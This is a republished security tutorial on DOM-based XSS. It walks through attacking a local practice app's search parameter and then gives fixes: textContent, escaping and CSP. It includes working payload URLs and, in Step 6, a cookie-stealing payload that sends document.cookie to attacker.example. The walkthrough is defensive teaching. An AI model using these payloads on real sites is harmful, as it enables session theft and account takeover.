Dev.to Security 🔐 Cybersecurity 👁 0 📖 5 min read

DOM-Based XSS: How a Single URL Parameter Can Execute Code in Your Web App

Cross-Site Scripting (XSS) is one of the most common and misunderstood web vulnerabilities. DOM-based XSS is a specific type where the attack happens entirely in the browser. JavaScript reads data from the URL and writes

DOM-Based XSS: How a Single URL Parameter Can Execute Code in Your Web App

Cross-Site Scripting (XSS) is one of the most common and misunderstood web vulnerabilities. DOM-based XSS is a specific type where the attack happens entirely in the browser. JavaScript reads data from the URL and writes it directly into the page without checking the content first. No server is involved in the injection, which is why it can bypass some server-side defenses.

The vulnerable pattern looks like this:

// Example vulnerable code (simulation)
const params = new URLSearchParams(window.location.search);
const query = params.get('q');

// Dangerous: inserts raw user input into the DOM
document.getElementById('search-result').innerHTML = `Found results for: ${query}`;
document.getElementById('search-input').value = query;

Anything in the q URL parameter goes straight into innerHTML. This is the root cause of everything you will see below.

Ethical Considerations

  • Only test applications you own or have explicit permission to test.
  • Use isolated local environments like localhost for practice.
  • Never run XSS payloads against production systems without authorization.
  • Report findings responsibly to the application owner.

The target is a local document management app called "DocVault" running on localhost:3000. It has a search feature that reads the q query parameter from the URL and displays it on the page.

Step 1: Normal Search Behavior

Start by checking how the app behaves with a normal input. Search for "Test" and observe the output.

The app displays "Found 0 document(s) for: Test" and a plain message below. Everything looks safe. The search term is reflected back on the page, which tells us the app reads input and displays it, setting the stage for the next steps.

Step 2: Craft the Payload URL

The app reads the q parameter and reflects it into the page without sanitization. You can skip the search form entirely and craft the URL directly in the address bar:

http://localhost:3000/?q=<img src=x onerror="alert('XSS')">

Notice the page still shows the previous "Test" results. The payload is now in the address bar, but the page has not reloaded yet. This step shows that an attacker can craft a malicious URL and share it as a link, with no interaction from the app's backend needed.

Step 3: XSS Execution Confirmed

After the browser navigates to that URL, the page loads and the script runs immediately.

The browser shows an alert saying "localhost:3000 says XSS". The onerror event fires because the image source x is not a valid URL. The injected script in onerror runs in the page's context. You can also see the search input field displaying the raw <img> tag text, and the results area is empty because the tag was injected there instead of text.

Step 4: HTML Injection Test

Before jumping to JavaScript, it is useful to confirm basic HTML injection works. This is a simpler proof that the app uses innerHTML:

http://localhost:3000/?q=<b>HTML Injection</b>

Look at both areas carefully. The search input field shows the raw text <b>HTML Injection</b> because the value attribute on an input does not parse HTML. But the results area below shows "Found 0 document(s) for: HTML Injection" with the text rendered in bold. The message body also renders it bold. This confirms the results section uses innerHTML to display the search term, not textContent. If HTML renders, JavaScript can too.

Step 5: DOM Manipulation

Alert boxes are just a starting point. An attacker can use the same technique to change anything on the page:

http://localhost:3000/?q=<img src=x onerror="document.body.style.background='red'">

The whole page background turns red. The injected <img> tag appears inside the results area as a broken image icon, and the onerror handler modifies the page's style. This shows the script has full access to the DOM. In a real attack scenario, this technique is used to inject fake login forms, redirect users to phishing pages, or silently load third-party scripts.

Step 6: Cookie Theft

The most serious impact is session hijacking through cookie theft:

http://localhost:3000/?q=<img src=x onerror="alert(document.cookie)">

The alert reveals the app's cookies: language=en; welcomebanner_status=dismiss; continueCode=O3VMEvaDgyX8LvJ4qo7EwW6m29xP0pOGzRkZKY1bB3MNjOVprI5QenrK4a2x. In a real attack, the payload would not show an alert. Instead, it would silently send the cookies to an attacker-controlled server:

<!-- Example attacker payload (simulation) -->
<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)">

With the continueCode session token, an attacker can replay that cookie and access the victim's account without a password.

Remediation

The fix starts with removing innerHTML where it is not needed.

Fix 1: Use textContent Instead of innerHTML

// Vulnerable
document.getElementById('search-result').innerHTML = `Found results for: ${query}`;

// Safe
document.getElementById('search-result').textContent = `Found results for: ${query}`;

textContent treats everything as plain text. HTML tags will not parse or execute.

Fix 2: Encode Output Before Using innerHTML

If you need to support some HTML formatting, encode user input first:

function escapeHtml(text) {
  const div = document.createElement('div');
  div.textContent = text;
  return div.innerHTML;
}

document.getElementById('search-result').innerHTML = `Found results for: ${escapeHtml(query)}`;

This converts < to &lt; and > to &gt;, so tags become visible text instead of parsed HTML.

Fix 3: Content Security Policy

Add a CSP header to block inline scripts as a second layer of defense:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

This blocks onerror handlers and inline <script> tags from running, even if the injection succeeds.

Summary

DOM-based XSS happens when JavaScript takes a URL parameter and puts it into innerHTML without checking it first. In DocVault's search feature, the q parameter goes directly into the results area as HTML, giving an attacker full script execution in the victim's browser. You saw this progress from a simple alert, to bold HTML rendering, to full DOM control, and finally to real cookie theft. The fix is straightforward: prefer textContent over innerHTML, encode any output that must use innerHTML, and add a Content Security Policy. Always treat URL parameters as untrusted data.

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.